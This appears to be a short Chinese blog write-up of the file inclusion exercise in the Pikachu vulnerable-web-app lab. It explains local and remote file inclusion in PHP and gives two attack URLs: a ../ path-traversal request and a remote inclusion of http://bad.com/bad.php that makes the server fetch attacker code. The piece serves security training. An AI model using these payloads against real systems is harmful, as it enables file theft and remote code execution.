something about Pikachu - File Inclusion
pikachu
File Inclusion
概述
各种开发语言都提供了内置的文件包含函数,使得开发人员可以在一个代码文件中包含(引入)另外一个代码文件。
PHP
中提供了include()
,include_once()
,require()
,require_once()
等函数。
当要包含的目标文件名被定义为变量,并期待前端用户传递此变量,若没有做够安全考虑,会引发文件包含漏洞
。
文件包含漏洞分为:
本地文件包含漏洞
仅能对服务器本地文件进行包含,由于包含文件并不受攻击者控制,因此更大可能是包含一些系统配置文件,进而读取系统敏感 信息。
当本地文件包含漏洞
与文件上传漏洞
结合时,变相实现了包含任意文件的功能,危害更大。远程文件包含漏洞
能够通过
URL
包含远程文件,因此可以包含任意文件,危害很大。
File Inclusion(local)
构造请求,包含指定文件。关于服务器文件路径,可以尝试利用命令执行漏洞
来获取。
1 | /pikachu/vul/fileinclude/fi_local.php?filename=../../../../bitnami.css&submit=Submit+Query |
File Inclusion(remote)
构造请求,包含远程文件。
1 | /pikachu/vul/fileinclude/fi_remote.php?filename=http://bad.com/bad.php&submit=Submit+Query |
something about Pikachu - File Inclusion
https://cyhfvg.github.io/something-about-Pikachu-File-Inclusion/